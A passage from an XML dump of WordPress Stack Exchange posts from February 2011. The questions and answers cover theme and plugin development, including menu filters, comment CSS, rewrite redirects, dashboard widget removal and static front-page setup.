templates&#xA;    global $is_bb;&#xA;&#xA;    // Is this a bbPress page?&#xA;    if($is_bb) {&#xA;&#xA;        // Is this the Forum menu item?&#xA;        if ( eregi('forum', $menu_item-&gt;title)) {&#xA;&#xA;            // Add classes&#xA;            $menu_item-&gt;classes[] = 'current_page_parent';&#xA;        }&#xA;        else {&#xA;&#xA;            // Remove current-page classes&#xA;            $menu_item-&gt;classes = array_diff($menu_item-&gt;classes, array('current_page_parent', 'current-menu-item'));&#xA;&#xA;        }&#xA;    }&#xA;    return $menu_item;&#xA;}&#xA;add_filter( 'wp_setup_nav_menu_item', 'rd_setup_nav_menu_item', 10, 2 );&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1718" LastEditorUserId="1718" LastEditorDisplayName="" LastEditDate="2011-02-09T10:09:54.417" LastActivityDate="2011-02-09T10:09:54.417" Title="bbPress integration and functions.php" Tags="&lt;theme-development&gt;&lt;filters&gt;&lt;functions&gt;" />
  <row Id="8949" PostTypeId="1" AcceptedAnswerId="8951" CreationDate="2011-02-09T09:49:29.230" Score="1" ViewCount="91" Body="&lt;p&gt;Website: [removed]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you goto the above post you will see that there are some comments which when posted appears as admin comments for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are having problem finding that specific comment you can also press CTRL+F to find it using the following words Test Comment or Guest which i posted myself for testing purpose to show it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that its making guest users comment appear as Admin Comments by putting that ADMIN Image at the right of the comments. and the odd thing is this is only happening if the user replies to an admin comment :o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help and tell me what could be causing this behavior? i'm pretty new to wordpress theme development :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastEditorUserId="1804" LastEditorDisplayName="" LastEditDate="2011-02-09T15:05:04.197" LastActivityDate="2011-02-09T15:05:04.197" Title="Comments Confusion" Tags="&lt;3.0&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
  <row Id="8951" PostTypeId="2" ParentId="8949" CreationDate="2011-02-09T10:39:14.583" Score="3" ViewCount="" Body="&lt;p&gt;styles.css &gt; line 537: (span.poster-roles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You haven't defined ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;any offset to differ between author and admin for the sprite (author/admin)&lt;/li&gt;&#xA;&lt;li&gt;any additional class to make a difference between author/admin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that you wanted to only add the graphic for registered authors and admins (there's nothing for guests). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to add ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(on top of your comments template/file)&lt;br&gt;&#xA;&lt;code&gt;global $current_user;&lt;br&gt;&#xA;get_currentuserinfo();&lt;br&gt;&#xA;$user_ID = $current_user-&amp;gt;user_ID;&lt;br&gt;&#xA;$the_user = get_userdata( $user_ID );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(inline - comment div)&#xA;a class for authors &amp;amp; admins like   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;&amp;lt;?php   &#xA;if ( !empty($the_user) ) :  &#xA;  echo $the_user-&amp;gt;wp_capabilities-&amp;gt;role;   &#xA;else :  &#xA;  echo 'guest';  &#xA;endif;  &#xA;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then do some offset for the class mentioned above like  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ol.commentlist li.comment ul.children li.comment-author-admin .poster-roles.admin { &#xA;   background-position: 0px 0px;&#xA;}  &#xA;ol.commentlist li.comment ul.children li.comment-author-admin .poster-roles.author {&#xA;   background-position: 0px -40px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly if it's wp_capabilities-&gt;roles, so please refer to some of my old (since a long time not further developed) plugins for the exact user info - &lt;a href=&quot;http://wordpress.org/extend/plugins/your-friendly-current-user-deamon/&quot; rel=&quot;nofollow&quot;&gt;your friendly current user deamon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T10:39:14.583" CommentCount="11" />
  <row Id="8952" PostTypeId="2" ParentId="8941" CreationDate="2011-02-09T10:41:42.460" Score="0" ViewCount="" Body="&lt;p&gt;The easiest way (as long as you only have 2 languages) would be to use the cat description as title for the sec lang: &lt;code&gt;&amp;lt;?php echo category_description( $categoryID ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T10:41:42.460" />
  <row Id="8953" PostTypeId="2" ParentId="8949" CreationDate="2011-02-09T10:45:42.487" Score="3" ViewCount="" Body="&lt;p&gt;This has little to do with WordPress and is mostly theme's CSS styling issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That admin image is added with following CSS rule in &lt;code&gt;style.css&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ol.commentlist li.comment-author-admin .poster-roles {&#xA;    background: url(&quot;images/poster-roles-bg.png&quot;) no-repeat scroll right top transparent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which roughly means - add image to &lt;em&gt;roles block&lt;/em&gt; inside &lt;em&gt;admin block&lt;/em&gt;. The issue is that your nested comments are also technically inside &lt;em&gt;admin block&lt;/em&gt; and rule cascades to them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T10:45:42.487" CommentCount="2" />
  <row Id="8954" PostTypeId="2" ParentId="8936" CreationDate="2011-02-09T10:46:10.073" Score="0" ViewCount="" Body="&lt;p&gt;Should be more something like this:&lt;br&gt;&#xA;&lt;code&gt;$myOption = get_option( 'myOption' );&lt;br&gt;&#xA;$myOption = $myOption !== false ? $myOption : $myOption_def;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This avoids making a DB call twice (question is false, then again trying to retrieve it striaght from DB - again - if true). &lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-09T10:54:51.003" LastActivityDate="2011-02-09T10:54:51.003" CommentCount="2" />
  <row Id="8955" PostTypeId="2" ParentId="8932" CreationDate="2011-02-09T10:47:13.597" Score="1" ViewCount="" Body="&lt;p&gt;Try the pods CMS plugin: &lt;a href=&quot;http://podscms.org&quot; rel=&quot;nofollow&quot;&gt;http://podscms.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T10:47:13.597" />
  <row Id="8956" PostTypeId="2" ParentId="8919" CreationDate="2011-02-09T11:03:23.157" Score="2" ViewCount="" Body="&lt;p&gt;Afaik: There's a (hidden?) button for TinyMCE that cleans up stuff imported from MS Word. You click the button insert (copy/paste) the stuff from Word and TinyMCE should do the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: You can export as XML from InDesign. Why not use that? Pulling in XML data should be much easier. I'm pretty sure that you could also add a new table in DB for the XML content and pull that instead of &lt;code&gt;the_content();&lt;/code&gt;. Adding some meta box (or just use custom fields) to upload the xml file to DB would be as easy as disabling the editor could avoid a lot of trouble.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T11:03:23.157" CommentCount="6" />
  <row Id="8957" PostTypeId="2" ParentId="8912" CreationDate="2011-02-09T11:08:06.867" Score="0" ViewCount="" Body="&lt;p&gt;I guess also easy would be to hook into the registration process (pre data get's submitted to DB) and just change the &lt;code&gt;user_registered&lt;/code&gt; column from &lt;code&gt;wp_usermeta&lt;/code&gt; table with some preg_replace for empty spaces. They would be unique as long as you're not submitting them in the exact same second. The value won't ever be changed by anyhting after the registration process + it would allow ordering by registration time if you may need that.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T11:08:06.867" />
  <row Id="8958" PostTypeId="2" ParentId="8905" CreationDate="2011-02-09T11:11:49.360" Score="1" ViewCount="" Body="&lt;p&gt;I can only recommend &lt;a href=&quot;http://krumo.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;the Krumo php class&lt;/a&gt; that can be added within 10 sec to any installation and doesn't depend on any local setup. So even if you're out and away of your office you got a debug tool with you. Just be sure to load it after any other files and load it with &lt;code&gt;if ( current_user_can('manage_options') ) krumo::enable();&lt;/code&gt; so no guest or other user runs into your deugging messages if you're debugging something that's already live.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T11:11:49.360" />
  <row Id="8959" PostTypeId="2" ParentId="8912" CreationDate="2011-02-09T11:34:58.137" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;ID&lt;/code&gt; column of the &lt;code&gt;users&lt;/code&gt; table is &lt;code&gt;AUTO_INCREMENT&lt;/code&gt;, so &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/alter-table.html&quot; rel=&quot;nofollow&quot;&gt;you can set the base counter to a high number&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE wp_users AUTO_INCREMENT = 1000000000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All new users will have an &lt;code&gt;ID&lt;/code&gt; that is higher than this value. Calling this operation is safe, if you accidentally set it to a low number either nothing happens (in a &lt;code&gt;InnoDB&lt;/code&gt; table), or it is set to the highest existing number + 1 (in a &lt;code&gt;MyISAM&lt;/code&gt; table).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-09T11:34:58.137" />
  <row Id="8960" PostTypeId="1" CreationDate="2011-02-09T12:36:00.893" Score="1" ViewCount="111" Body="&lt;p&gt;Please read this carefully as it is not what you might be expecting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building my site in a development sub domain. I don't want to have to go through the complications of running find and replace plugins after moving the site to the live area (as this can often go wrong on some serialized data). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to enter the urls into pages as they're going to be on the live site (they need to be absolute URLs for the RSS feeds. So I need a method with PHP or Javascript to find and replace &lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com&lt;/a&gt; with &lt;a href=&quot;http://dev.mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysite.com&lt;/a&gt; on the output pages. This way I can still test and preview the site and when it comes to going live I just have to uncomment that code. I'm not worried about the URL in the settings as that is always easy to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="1925" LastEditorDisplayName="" LastEditDate="2011-02-10T13:52:59.243" LastActivityDate="2011-02-10T13:52:59.243" Title="Find and replace domain name on the fly?" Tags="&lt;development&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="8961" PostTypeId="2" ParentId="8960" CreationDate="2011-02-09T12:45:35.003" Score="1" ViewCount="" Body="&lt;p&gt;Likely this will make more sense with JS, but that is not my area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PHP you can &lt;a href=&quot;http://php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot;&gt;buffer output&lt;/a&gt; between two hooks (for example from &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/init&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;init&lt;/code&gt;&lt;/a&gt; to late &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_footer&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_footer&lt;/code&gt;&lt;/a&gt;), replace links and echo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it can be very convenient to use &lt;a href=&quot;http://en.wikipedia.org/wiki/Hosts_file&quot; rel=&quot;nofollow&quot;&gt;hosts&lt;/a&gt; to redirect real domain to IP of test server.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T12:45:35.003" CommentCount="1" />
  <row Id="8962" PostTypeId="1" CreationDate="2011-02-09T13:23:34.630" Score="1" ViewCount="231" Body="&lt;p&gt;Any idea on what would be the easiest way to integrate BuddyPress with Facebook? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a solution that would enable a BP custom profile that easily gets pre-filled with values from Facebook after the user does a &quot;Connect with Facebook&quot;. Some way of mapping FB graph objects to BP profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not available I will probably start the work on creating one so if you have any ideas or tips then that would also be useful. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-07-19T10:48:42.573" Title="Integrate BuddyPress &amp; Facebook" Tags="&lt;plugins&gt;&lt;buddypress&gt;&lt;facebook&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8963" PostTypeId="1" AcceptedAnswerId="8967" CreationDate="2011-02-09T13:32:56.557" Score="0" ViewCount="97" Body="&lt;p&gt;I'm building a function in theme options to give the site owner more control over the post's &quot;Tags&quot; collection that I display at the bottom of each post page. Specifically, whether to add anchor text to them or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since none of the available functions: the_tags(), get_the_tags(), etc will create an unanchored list with separators, I'm left to roll my own method (unless, as I'm hoping, I'm missing something)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 1st part of the code branch below, once we determine the post has tags and the user has chosen to display them without links, I'm manually creating the tag list and adding a comma separator. How can I remove the separator from the last tag or from a single tag when that condition exists? (or better, is there a core method that will do it for me?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_get_tags(){&#xA;    $unlinkTags = get_option('my_unlinkTags');&#xA;    $gotTags = get_the_tags();&#xA;    if(!$gotTags) return;&#xA;&#xA;    //we got tags, lets create a wrapper&#xA;    echo '&amp;lt;div&amp;gt;&amp;lt;span class=&quot;tags&quot;&amp;gt;';&#xA;&#xA;    //no anchors and a separator? have to roll our own&#xA;    if($unlinkTags)&#xA;        {&#xA;        foreach($gotTags as $tag) {echo $tag-&amp;gt;name . ', ';}&#xA;        }&#xA;    //they want anchors, easy peasy, use get tags&#xA;    else&#xA;        {&#xA;        echo the_tags('', ', ', '');&#xA;        }&#xA;    echo '&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-09T14:27:13.730" Title="get_the_tags with separator control?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="8964" PostTypeId="2" ParentId="8915" CreationDate="2011-02-09T14:15:02.853" Score="1" ViewCount="" Body="&lt;p&gt;I found a fix here: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15936&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15936&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically need to modify wp-includes/ms-settings.php like this (remove '-' lines; add the '+' line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@@ -26,18 +26,8 @@&#xA;  if ( !isset( $current_site ) || !isset( $current_blog ) ) {&#xA;+        $_SERVER['HTTP_HOST'] = preg_replace( '|:\d+$|', '', $_SERVER['HTTP_HOST'] );&#xA;         $domain = addslashes( $_SERVER['HTTP_HOST'] );&#xA;-        if ( false !== strpos( $domain, ':' ) ) {&#xA;-               ....&#xA;-                        wp_die( /*WP_I18N_NO_PORT_NUMBER*/'Multisite only works without the port number in the URL.'/*/WP_I18N_NO_PORT_NUMBER*/ );&#xA;-                }&#xA;-        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2011-02-09T14:15:02.853" CommentCount="1" />
  <row Id="8965" PostTypeId="2" ParentId="8236" CreationDate="2011-02-09T14:17:30.447" Score="1" ViewCount="" Body="&lt;p&gt;It is no problem that the posts are already gone, we will hook into WP before it queries the database. First we set up our rewrite rules, which will set a special query variable (that we must declare public), and then, in the &lt;code&gt;parse_request&lt;/code&gt; action, we check for that variable and redirect if it is set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse8236_init' );&#xA;function wpse8236_init()&#xA;{&#xA;    // This is case-sensitive, we can't set regex flags&#xA;    // Replace `blog` with `[Bb][Ll][Oo][Gg]` to make it case-insensitive&#xA;    add_rewrite_rule( 'blog/2008/', 'index.php?wpse8236_redirect=true', 'top' );&#xA;    add_rewrite_rule( 'blog/2009/0[1-6]/', 'index.php?wpse8236_redirect=true', 'top' );&#xA;}&#xA;&#xA;add_action( 'query_vars', 'wpse8236_query_vars' );&#xA;function wpse8236_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse8236_redirect';&#xA;    return $query_vars;&#xA;}&#xA;&#xA;add_action( 'parse_request', 'wpse8236_parse_request' );&#xA;function wpse8236_parse_request( &amp;amp;$wp )&#xA;{&#xA;    if ( array_key_exists( 'wpse8236_redirect', $wp-&amp;gt;query_vars ) ) {&#xA;        wp_redirect( '/blog/' );&#xA;        exit();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-09T14:17:30.447" CommentCount="1" />
  <row Id="8966" PostTypeId="2" ParentId="2638" CreationDate="2011-02-09T14:23:57.320" Score="1" ViewCount="" Body="&lt;p&gt;If you stumble upon this one, try the following: &quot;&lt;a href=&quot;https://gist.github.com/818457&quot; rel=&quot;nofollow&quot;&gt;Easy Pagination Deamon&lt;/a&gt;&quot;. Install, activate, use the template tag inside your template...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link to the stylesheet can be found inside my gists or below the top plugin comment.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-09T14:23:57.320" />
  <row Id="8967" PostTypeId="2" ParentId="8963" CreationDate="2011-02-09T14:27:13.730" Score="3" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = array();&#xA;&#xA;foreach($gotTags as $tag)&#xA;    $output[] = $tag-&amp;gt;name;&#xA;&#xA;echo implode(',', $output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T14:27:13.730" CommentCount="1" />
  <row Id="8968" PostTypeId="1" AcceptedAnswerId="8969" CreationDate="2011-02-09T14:32:38.470" Score="0" ViewCount="76" Body="&lt;p&gt;i did a fresh wordpress install on my NAS and on my local machine (notebook).&#xA;on my notebook anything is running perfect (takes ~3 secs to load)&#xA;but from my NAS it is really extremely slow :( (taking ~12 secs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's the same setup and i couldn't find out the reason .. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems like that the problem is the internal siteurl (the nas' ip-address) and that wordpress is using it for all paths ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-02-09T15:44:04.193" Title="wordpress extremely slow on NAS" Tags="&lt;performance&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8969" PostTypeId="2" ParentId="8968" CreationDate="2011-02-09T14:38:47.170" Score="1" ViewCount="" Body="&lt;p&gt;I guess you already answered the question yourself. The other thing could be that your NAS has a slow harddrive (5.400 rpm) or that your connection is slow.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: Speed up with removing unwanted dashboard items...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name:    Dashboard-Widgets Removal Plugin&#xA;Plugin URI:     http://example.com&#xA;Description:    Disables admin UI dashboard widgets that you do not want&#xA;Author:         Franz Josef Kaiser&#xA;Author URI:     http://say-hello-code.com&#xA;Version:        0.1&#xA;License:        GPL v2 - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&#xA;*/&#xA;/**&#xA; * Disable unwanted Dashboard Admin UI Widgets&#xA; */&#xA;function oxo_dashboard_widgets() {&#xA;    if ( !is_admin() ) &#xA;        return;&#xA;&#xA;    global $wp_meta_boxes;&#xA;    // Right Now - Comments, Posts, Pages at a glance&#xA;    # unset( $wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now'] );&#xA;    // Recent Comments&#xA;    # unset( $wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments'] );&#xA;    // Incoming Links&#xA;    # unset( $wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links'] );&#xA;    // Plugins - Popular, New and Recently updated Wordpress Plugins&#xA;    unset( $wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins'] );&#xA;&#xA;    // Wordpress Development Blog Feed&#xA;    unset( $wp_meta_boxes['dashboard']['side']['core']['dashboard_primary'] );&#xA;    // Other Wordpress News Feed&#xA;    unset( $wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary'] );&#xA;    // Quick Press Form&#xA;    # unset( $wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press'] );&#xA;    // Recent Drafts List&#xA;    unset( $wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts'] );&#xA;}&#xA;add_action( 'wp_dashboard_setup', 'oxo_dashboard_widgets' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit #2:&#xA;Link to a debug plugin that offers time meassuring: &lt;a href=&quot;http://wordpress.org/extend/plugins/blackbox-debug-bar/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Blackbox Bar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-09T15:44:04.193" LastActivityDate="2011-02-09T15:44:04.193" CommentCount="5" />
  <row Id="8970" PostTypeId="2" ParentId="8833" CreationDate="2011-02-09T14:41:22.220" Score="0" ViewCount="" Body="&lt;p&gt;Add before your code: &lt;code&gt;$test_me = ce4_cat(); var_dump($test_me);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Easier to read version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$test_me = ce4_cat();&lt;br&gt;&#xA;echo '&amp;lt;pre&amp;gt;';&lt;br&gt;&#xA;print_r($test_me);&lt;br&gt;&#xA;echo '&amp;lt;/pre&amp;gt;';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-15T15:16:55.747" LastActivityDate="2011-03-15T15:16:55.747" />
  <row Id="8971" PostTypeId="1" CreationDate="2011-02-09T14:02:11.733" Score="1" ViewCount="110" Body="&lt;p&gt;I want to use WordPress primarily as a static page CMS for a small business site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the &quot;pages&quot; feature for most of the pages on the site, except for a news blog, for which I want to use the blogging part of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want a structure like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com - main page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/about&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/services &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/news&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the first four are &quot;pages&quot; that don't need dynamic content, but the &quot;news&quot; part is a blog with company news, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I implement a URL structure like this? If I install Wordpress to example.com/news folder, all the pages look like this: example.com/news/about&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T15:36:30.427" LastActivityDate="2011-02-09T17:33:10.920" Title="Putting main WordPress blog under a different folder name" Tags="&lt;cms&gt;&lt;configuration&gt;&lt;setup&gt;&lt;url-layout&gt;" AnswerCount="3" />
  <row Id="8972" PostTypeId="2" ParentId="8971" CreationDate="2011-02-09T14:08:36.327" Score="1" ViewCount="" Body="&lt;p&gt;Install WordPress in the root directory of your site. Then log in to the WP Admin, go to Settings &gt; Reading and specify a static page for the front page of your site.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-09T14:08:36.327" />
  <row Id="8973" PostTypeId="2" ParentId="8971" CreationDate="2011-02-09T14:15:00.893" Score="1" ViewCount="" Body="&lt;p&gt;To expand on duncmc's answer, you also need to specify which page you want blog posts to show up on. That's done on the same Settings -&gt; Reading page:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/IM6As.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-09T16:37:06.007" LastActivityDate="2011-02-09T16:37:06.007" />
  <row Id="8974" PostTypeId="2" ParentId="8971" CreationDate="2011-02-09T15:02:25.083" Score="3" ViewCount="" Body="&lt;p&gt;To expand on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8971/putting-main-wordpress-blog-under-a-different-folder-name/8972#8972&quot;&gt;duncmc's answer&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Install WordPress in the root directory of your site. Then log in to the WP Admin, go to Settings &gt; Reading and specify a static page for the front page of your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8971/putting-main-wordpress-blog-under-a-different-folder-name/8973#8973&quot;&gt;Tnorthcutt's answer&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you also need to specify which page you want blog posts to show up on. That's done on the same Settings -&gt; Reading page:&#xA;  &lt;img src=&quot;http://i.stack.imgur.com/IM6As.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(which summed up the answer of your question), follow these steps. I assume that you've already installed WordPress, so I'll skip this part.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fist, login to your WordPress dashboard, go to &lt;em&gt;Settings -&gt; Permalinks&lt;/em&gt; and set your &lt;strong&gt;permalinks&lt;/strong&gt; structure to something different from the default one. Example: &lt;code&gt;/%year%/%monthnum%/%day%/%postname%/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Page -&gt; Add New&lt;/em&gt; and create a the page you want to represent your homepage. Example: Home. Save your new page.&lt;/li&gt;&#xA;&lt;li&gt;Create another page, this time called &lt;em&gt;News&lt;/em&gt; (or anything you would like to call your news page). Save it.&lt;/li&gt;&#xA;&lt;li&gt;Go &lt;em&gt;Settings -&gt; Reading&lt;/em&gt; (you will see the screenshot submitted by Tnorthcutt), now, choose 'A static page' option and set your home and news page from the drop down select boxes.&lt;/li&gt;&#xA;&lt;li&gt;Now, you can go to Appearance -&gt; Menus and set your navigation menu for your site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The above guys answered it, but I wanted to extend their answers step by step. &lt;/p&gt;&#xA;" OwnerUserId="2474" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T17:33:10.920" LastActivityDate="2011-02-09T17:33:10.920" />
  <row Id="8975" PostTypeId="1" AcceptedAnswerId="9046" CreationDate="2011-02-09T15:07:40.047" Score="0" ViewCount="628" Body="&lt;p&gt;WP 3.0.4 multisite network enabled, local installation with MAMP, PHP 5.3.2, WP THEME: &lt;a href=&quot;http://www.techiegirlonline.com/2011/01/23/twentyten-child-theme/&quot; rel=&quot;nofollow&quot;&gt;Twentyten Child (Wordpress Theme)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having trouble with not displaying my CSS styling for horizontal alignment of 4 div-boxes  inside a div-container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The same css styling works fine with HTML 4.01 Transitional//EN on my hand-coded html/php website. But on my WordPress site, the four boxes stepped down from each other, like a staircase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same behavior in Firefox v3.6.13 and Safari v5.0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My CSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;div .box-container { display: inline; margin: 0.63em 0pt;&#xA;  padding:10px; width: 640px;&#xA;  background-color:rgb(229, 231, 225);&#xA;  position:relative; float: left;&#xA;  overflow:hidden; }&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;div .small-box { border: 1px solid&#xA;  rgb(153, 51, 102); margin: 10px 5px;&#xA;  padding: 0.325em; float: left;&#xA;  background-color: rgb(255, 244, 227);&#xA;  width: 128px; line-height: 0.85em;&#xA;  max-height: 8em; min-height: 8em;&#xA;  position: relative; 